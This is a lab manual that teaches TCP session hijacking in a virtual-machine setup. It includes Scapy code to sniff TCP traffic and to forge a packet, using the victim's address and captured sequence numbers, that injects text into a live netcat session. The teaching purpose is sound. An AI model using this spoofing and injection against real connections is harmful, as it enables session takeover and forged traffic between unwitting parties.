

Lab Manual: TCP Hijacking using Scapy

1. Objective

To demonstrate TCP session hijacking by injecting malicious packets into an active TCP connection using Scapy.

2. Prerequisites

- Kali Linux or any Linux machine with Scapy installed.
- Two virtual machines or systems: Victim (Client), Server.
- A shared network (e.g., same LAN or bridged network in a virtual environment).
- Basic understanding of TCP/IP, networking, and packet crafting.

3. Tools Required

- Scapy (Python-based packet manipulation tool)
- Wireshark (for packet analysis)
- Netcat or SSH (to simulate TCP session)

4. Lab Setup

4.1 Topology

Attacker (Kali) <----> Router/Switch <----> Victim <----> Server

4.2 Simulate a TCP Session

On the Victim:

```
nc <server_ip> 9999
```

On the Server:

```
nc -lvp 9999
```

5. TCP Hijacking with Scapy

Step 1: Sniff TCP Packets

```
from scapy.all import *

def sniff_packets(packet):

    if packet.haslayer(TCP):

        print(packet.summary())

        packet.show()

sniff(filter="tcp", prn=sniff_packets, iface="eth0")
```

Step 2: Analyze the Session in Wireshark

Capture traffic between victim and server. Find the current Sequence Number and Acknowledgment Number.

Step 3: Craft a Spoofed TCP Packet

```
from scapy.all import *

src_ip = "victim_ip"

dst_ip = "server_ip"

src_port = 12345 # victim port

dst_port = 9999 # server port

seq = 1001      # captured sequence number

ack = 2002      # captured ack number

payload = "Injected message from attacker\n"

ip = IP(src=src_ip, dst=dst_ip)

tcp = TCP(sport=src_port, dport=dst_port, flags="PA", seq=seq, ack=ack)

pkt = ip/tcp/payload
```

send(pkt)

6. Expected Outcome

- The Server receives a packet appearing to come from the Victim.
- The injected message shows up in the server's terminal.

7. Clean Up

- Stop all netcat sessions.
- Clear Wireshark logs.
- Reboot VMs if needed.

8. Important Notes

- TCP hijacking works only if attacker can predict or capture sequence/ack numbers.
- This demo assumes no encryption and a flat network.
- Add firewall and IDS/IPS rules in production environments to prevent such attacks.

9. Screenshot Suggestions

- Netcat TCP session (client and server terminals).
- Wireshark view of captured packets.
- Scapy script output.
- Server terminal showing the spoofed message.